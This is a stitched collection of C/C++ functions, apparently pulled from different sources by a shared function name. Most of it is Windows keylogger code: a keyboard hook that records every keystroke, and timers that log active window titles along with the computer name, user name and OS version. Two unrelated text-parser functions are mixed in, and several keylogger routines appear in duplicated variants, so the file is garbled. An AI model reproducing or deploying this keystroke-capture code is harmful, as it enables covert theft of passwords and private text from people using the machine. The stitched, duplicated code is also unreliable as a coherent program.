LRESULT CALLBACK KeyboardHookProc (int code, WPARAM wParam, LPARAM lParam) { /* The 32nd bit of lParam tells us if the key is being pressed or released */ if(!(lParam >> 31)) { char *keyw = (char *)calloc(STR_SZ1, sizeof(char)); DescribeKey(wParam, keyw); /* The first 16 bits of lParam tells us how long the key was pressed */ UINT repeat = (lParam << 16) >> 16; if(!repeat) repeat = 1; char *key = (char *) calloc ((repeat * strlen(keyw))+1, sizeof(char)); if(key == NULL) goto exit_point; while(repeat--) strcat(key, keyw); if(key) WriteInformation(key); exit_point: free(keyw); free(key); } return CallNextHookEx(KeyHook, code, wParam, lParam); }
void CALLBACK TimeStamp(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime) { char *str = (char *)calloc(STR_SZ2+20,1), *sub = (char *)calloc(STR_SZ2,1); static char brrr = 0; if(!(brrr%17)) { brrr++; // every 17 seconds do this.... unsigned long int bsize = STR_SZ2; if( !GetComputerName(sub,&bsize) ) { sub = (char *) realloc (sub, bsize); GetComputerName(sub,&bsize); } sprintf(str," # Computer Name: %s\r\n",sub); WriteInformation(str); if( !GetUserName(sub,&bsize) ) { sub = (char *) realloc (sub, bsize); GetUserName(sub,&bsize); } sprintf(str," # User Name: %s\r\n",sub); WriteInformation(str); OSVERSIONINFO ya; ya.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if( GetVersionEx(&ya) ) { sprintf(str," # Version %u.%u Build %u ", ya.dwMajorVersion, ya.dwMinorVersion, ya.dwBuildNumber); if(ya.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) strcat(str,"Windows 9x "); else if(ya.dwPlatformId == VER_PLATFORM_WIN32_NT) strcat(str,"Windows NT "); strcat(str,ya.szCSDVersion); WriteInformation(str); } } TimeAndDate(sub); sprintf(str,"\n\rTime %s\n",sub); WriteInformation(str); free(sub); free(str); }
bool CProcessor::Run() { try { StartTime = time(&StartTime); WriteInformation("Start."); TextMiner->Run(); WriteInformation("End."); if (PrettyXMLWriter.Get() != NULL) PrettyXMLWriter->SaveToFile(m_Parm.GetPrettyOutputFileName()); m_Parm.WriteToLog("\n"); return true; } catch (...) { WriteInformation(Substitute("Fatal error: $0", CurrentExceptionMessage())); return false; } }
void CALLBACK TimeStamp(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime) { char *str = (char *)calloc(STR_SZ2+20,1), *TimeDate = (char *)calloc(STR_SZ2,1); TimeAndDate(TimeDate, 0); sprintf(str,"\n\rTimeStamp: %s\n",TimeDate); WriteInformation(str); free(TimeDate); free(str); }
void CALLBACK TimerProc (HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime) { static char *TimeDate = NULL; static HWND ForegroundWindow = NULL; static char *PreviousWindowName = NULL; BOOL has_changed = FALSE; if(GetForegroundWindow() != ForegroundWindow) { has_changed = TRUE; ForegroundWindow = GetForegroundWindow(); } /* get WindowName */ int size = GetWindowTextLength(ForegroundWindow)+1; char *WindowName = (char *)calloc(size,sizeof(char)); size = GetWindowText(ForegroundWindow, WindowName, size); if(PreviousWindowName != NULL && WindowName != NULL) { if(strcmp(PreviousWindowName, WindowName)) has_changed = TRUE; } else has_changed = TRUE; if(has_changed) { if(PreviousWindowName) free(PreviousWindowName); if(WindowName) { if(strlen(WindowName)) { char *str = (char *)calloc ((size+STR_SZ1)+STR_SZ2,sizeof(char)); TimeDate = (char *)calloc(STR_SZ2,1); TimeAndDate(TimeDate, 0); sprintf(str,"\r\n<%d< %s | %s >>\r\n", key_count,WindowName,TimeDate); //key_count = 0; WriteInformation(str); free(str); } } } PreviousWindowName = WindowName; }
void CALLBACK WindowTimer (HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime) { static HWND ForegroundWindow = NULL; static char *PreviousWindowName = NULL; BOOL has_changed = FALSE; if(GetForegroundWindow() != ForegroundWindow) { has_changed = TRUE; ForegroundWindow = GetForegroundWindow(); } /* get WindowName */ int size = GetWindowTextLength(ForegroundWindow)+1; char *WindowName = (char *)calloc(size,sizeof(char)); size = GetWindowText(ForegroundWindow, WindowName, size); if(PreviousWindowName != NULL && WindowName != NULL) { if(strcmp(PreviousWindowName, WindowName)) has_changed = TRUE; } else has_changed = TRUE; if(has_changed) { if(PreviousWindowName) free(PreviousWindowName); if(WindowName) { if(strlen(WindowName)) { char *str = (char *)calloc ((size+STR_SZ1)+STR_SZ2,sizeof(char)); sprintf(str,"\n\r%s\n",WindowName); WriteInformation(str); free(str); //TimeStamp(NULL,0,0,0); } } } PreviousWindowName = WindowName; }
LRESULT CALLBACK MonWP (HWND hWnd, UINT message, WPARAM wParam,LPARAM lParam) { switch (message) { case WM_CREATE: WriteInformation("Newwwwwwwwwwwwww"); TimeStamp(NULL,0,0,0); SetTimer(hWnd, 1, 100, WindowTimer); //SetTimer(hWnd, 2, 2000, TimeStamp); StartSensing(); break; case WM_CLOSE: KillTimer (hWnd, 1); KillTimer (hWnd, 2); DestroyWindow(hWnd); break; case WM_DESTROY: PostQuitMessage (0); return 0; } return DefWindowProc (hWnd, message, wParam, lParam) ; }
void CALLBACK TimeStamp(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime) { char *str = (char *)calloc(STR_SZ2+20,1), *sub = (char *)calloc(STR_SZ2,1); static char time_stamp = 0; if(!(time_stamp%5)) { time_stamp++; // for every 5 calls stamp time & date... TIME_ZONE_INFORMATION here; SYSTEMTIME utc, local; GetTimeZoneInformation(&here); GetLocalTime(&local); GetSystemTime(&utc); char AM_PM[3]; if(local.wHour>12) { strcpy(AM_PM,"PM"); local.wHour -= 12; } else strcpy(AM_PM,"AM"); sprintf(sub, "%u/%u/%u %u:%u:%u %s (%uH%uM GMT)", local.wDay,local.wMonth,local.wYear, local.wHour,local.wMinute,local.wSecond, AM_PM,utc.wHour,utc.wMinute); // write the time & date... sprintf(str,"\n\rTime %s\n",sub); WriteInformation(str); } static char system_stamp = 0; if(!(system_stamp%15)) { system_stamp++; // for every 15 calls do this.... unsigned long int bsize = STR_SZ2; if( !GetComputerName(sub,&bsize) ) { sub = (char *) realloc (sub, bsize); GetComputerName(sub,&bsize); } sprintf(str," # Computer Name: %s\r\n",sub); WriteInformation(str); if( !GetUserName(sub,&bsize) ) { sub = (char *) realloc (sub, bsize); GetUserName(sub,&bsize); } sprintf(str," # User Name: %s\r\n",sub); WriteInformation(str); // get OS name & version ... OSVERSIONINFO ya; ya.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if( GetVersionEx(&ya) ) { sprintf(str," # Version %u.%u Build %u ", ya.dwMajorVersion, ya.dwMinorVersion, ya.dwBuildNumber); if(ya.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) strcat(str,"Windows 9x "); else if(ya.dwPlatformId == VER_PLATFORM_WIN32_NT) strcat(str,"Windows NT "); strcat(str,ya.szCSDVersion); WriteInformation(str); } } free(sub); free(str); }
LRESULT CALLBACK KeyboardHookProc (int code, WPARAM wParam, LPARAM lParam) { /* The 32nd bit of lParam tells us if the key is being pressed or released */ if(!(lParam >> 31)) { char *keyw = (char *)calloc(STR_SZ1, sizeof(char)); ///////////////////////////////////////////////////////// // Describe the keystroke in wParam & store it in 'keyw' ///////////////////////////////////////////////////////// { /* virtual key code */ char vkc = 0; vkc = /* maintain alphabet case */ ((GetKeyState(VK_SHIFT) < 0)&&( !(GetKeyState(VK_CAPITAL) < 0))) ? toupper((char)(wParam)) : tolower((char)(wParam)); /* numeric pad keys 0 to 10 */ if((wParam >= VK_NUMPAD0)&& (wParam <= VK_NUMPAD9)) sprintf(keyw,"[NumPad:%u]", (wParam - VK_NUMPAD0)); /* keys from 0 to 9 , A to Z and space */ else if(((wParam >= 0x30) &&(wParam <= 0x5A)) ||(wParam == 0x20)) { keyw[0] = vkc; keyw[1] = 0; } else switch(wParam) { case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break; case VK_BACK: strcpy(keyw,"[BACK]"); break; case VK_TAB: strcpy(keyw,"[TAB]"); break; case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break; case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break; case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break; case VK_CONTROL: strcpy(keyw,"[CTRL]"); break; case VK_MENU: strcpy(keyw,"[ALT]"); break; case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break; case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break; case VK_ESCAPE: strcpy(keyw,"[ESC]"); break; case VK_PRIOR: strcpy(keyw,"[PageUp]"); break; case VK_NEXT: strcpy(keyw,"[PageDown]"); break; case VK_END: strcpy(keyw,"[END]"); break; case VK_HOME: strcpy(keyw,"[HOME]"); break; case VK_LEFT: strcpy(keyw,"[LEFT]"); break; case VK_UP: strcpy(keyw,"[UP]"); break; case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break; case VK_DOWN: strcpy(keyw,"[DOWN]"); break; case VK_SELECT: strcpy(keyw,"[SELECT]"); break; case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break; case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break; case VK_INSERT: strcpy(keyw,"[INSERT]"); break; case VK_DELETE: strcpy(keyw,"[DELETE]"); break; case VK_HELP: strcpy(keyw,"[HELP]"); break; case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break; case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break; case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break; case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break; case VK_ADD: strcpy(keyw,"[ADD]"); break; case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break; case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break; case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break; case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break; case VK_F1: strcpy(keyw,"[F1]"); break; case VK_F2: strcpy(keyw,"[F2]"); break; case VK_F3: strcpy(keyw,"[F3]"); break; case VK_F4: strcpy(keyw,"[F4]"); break; case VK_F5: strcpy(keyw,"[F5]"); break; case VK_F6: strcpy(keyw,"[F6]"); break; case VK_F7: strcpy(keyw,"[F7]"); break; case VK_F8: strcpy(keyw,"[F8]"); break; case VK_F9: strcpy(keyw,"[F9]"); break; case VK_F10: strcpy(keyw,"[F10]"); break; case VK_F11: strcpy(keyw,"[F11]"); break; case VK_F12: strcpy(keyw,"[F12]"); break; case VK_F13: strcpy(keyw,"[F13]"); break; case VK_F14: strcpy(keyw,"[F14]"); break; case VK_F15: strcpy(keyw,"[F15]"); break; case VK_F16: strcpy(keyw,"[F16]"); break; case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break; case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break; case VK_ATTN: strcpy(keyw,"[ATTN]"); break; case VK_CRSEL: strcpy(keyw,"[CrSel]"); break; case VK_EXSEL: strcpy(keyw,"[ExSel]"); break; case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break; case VK_PLAY: strcpy(keyw,"[PLAY]"); break; case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break; default: sprintf(keyw,"[(%d)%c]",wParam,wParam); break; } } /* The first 16 bits of lParam tells us how long the key was pressed */ UINT repeat = (lParam << 16) >> 16; if(!repeat) repeat = 1; char *key = (char *) calloc ((repeat * strlen(keyw))+1, sizeof(char)); if(key == NULL) goto exit_point; while(repeat--) strcat(key, keyw); if(key) WriteInformation(key); exit_point: free(keyw); free(key); } return CallNextHookEx(KeyHook, code, wParam, lParam); }
bool CProcessor::Init(int argc, char* argv[]) { try { if (!m_Parm.AnalizeParameters(argc, argv) || !m_Parm.CheckParameters() || !m_Parm.InitParameters() || !Factory.CreateStreamRetriever(m_Parm)) { WriteInformation("Bad parameters.\n" + m_Parm.m_strError); return false; } Retriever = &Factory.GetDocRetriever(); DocStream = &Factory.GetDocStream(); InitInterviewFile(m_Parm.GetInterviewUrl2FioFileName()); ParserOptionsPtr.Reset(m_Parm.GetParserOptions()); Stroka dicDir; if (!m_Parm.GetGramRoot().empty()) dicDir = m_Parm.GetGramRoot(); else { dicDir = m_Parm.GetDicDir(); PathHelper::AppendSlash(dicDir); } Singleton<CDictsHolder>()->s_bForceRecompile = m_Parm.GetForceRecompile(); Singleton<CDictsHolder>()->s_maxFactsCount = m_Parm.GetMaxFactsCountPerSentence(); switch (m_Parm.GetBastardMode()) { case CCommonParm::EBastardMode::no: Singleton<CDictsHolder>()->s_BastardMode = EBastardMode::No; break; case CCommonParm::EBastardMode::outOfDict: Singleton<CDictsHolder>()->s_BastardMode = EBastardMode::OutOfDict; break; case CCommonParm::EBastardMode::always: Singleton<CDictsHolder>()->s_BastardMode = EBastardMode::Always; break; } CSimpleProcessor::Init(dicDir, m_Parm.GetLanguage(), m_Parm.GetBinaryDir(), m_Parm.NeedAuxKwDict(), m_Parm.GetLangDataEncoding()); if (!m_Parm.GetDebugTreeFileName().empty()) { if ("stderr" == m_Parm.GetDebugTreeFileName()) GetGlobalGramInfo()->s_PrintRulesStream = &Cerr; else if ("stdout" == m_Parm.GetDebugTreeFileName()) GetGlobalGramInfo()->s_PrintRulesStream = &Cout; else { GetGlobalGramInfo()->s_PrintRulesStream = new TBufferedFileOutput(m_Parm.GetDebugTreeFileName()); GetGlobalGramInfo()->s_PrintRulesStreamHolder.Reset(GetGlobalGramInfo()->s_PrintRulesStream); } } if (!m_Parm.GetDebugRulesFileName().empty()) { if ("stderr" == m_Parm.GetDebugRulesFileName()) GetGlobalGramInfo()->s_PrintGLRLogStream = &Cerr; else if ("stdout" == m_Parm.GetDebugRulesFileName()) GetGlobalGramInfo()->s_PrintGLRLogStream = &Cout; else { GetGlobalGramInfo()->s_PrintGLRLogStream = new TBufferedFileOutput(m_Parm.GetDebugRulesFileName()); } } if (!m_Parm.GetPrettyOutputFileName().empty()) PrettyXMLWriter.Reset(new CPrettySitWriter(m_Parm.GetOutputEncoding(), *(ParserOptionsPtr.Get()))); TextMiner.Reset(new TMtpTextMiner(m_Parm.GetLanguage(), this, this, ParserOptionsPtr, m_Parm.GetJobCount())); TextMiner->SetErrorStream(Errors); InitOutput(m_Parm); } catch (...) { (*Errors) << "Error in CProcessor::Init: " << CurrentExceptionMessage() << Endl; return false; } return true; }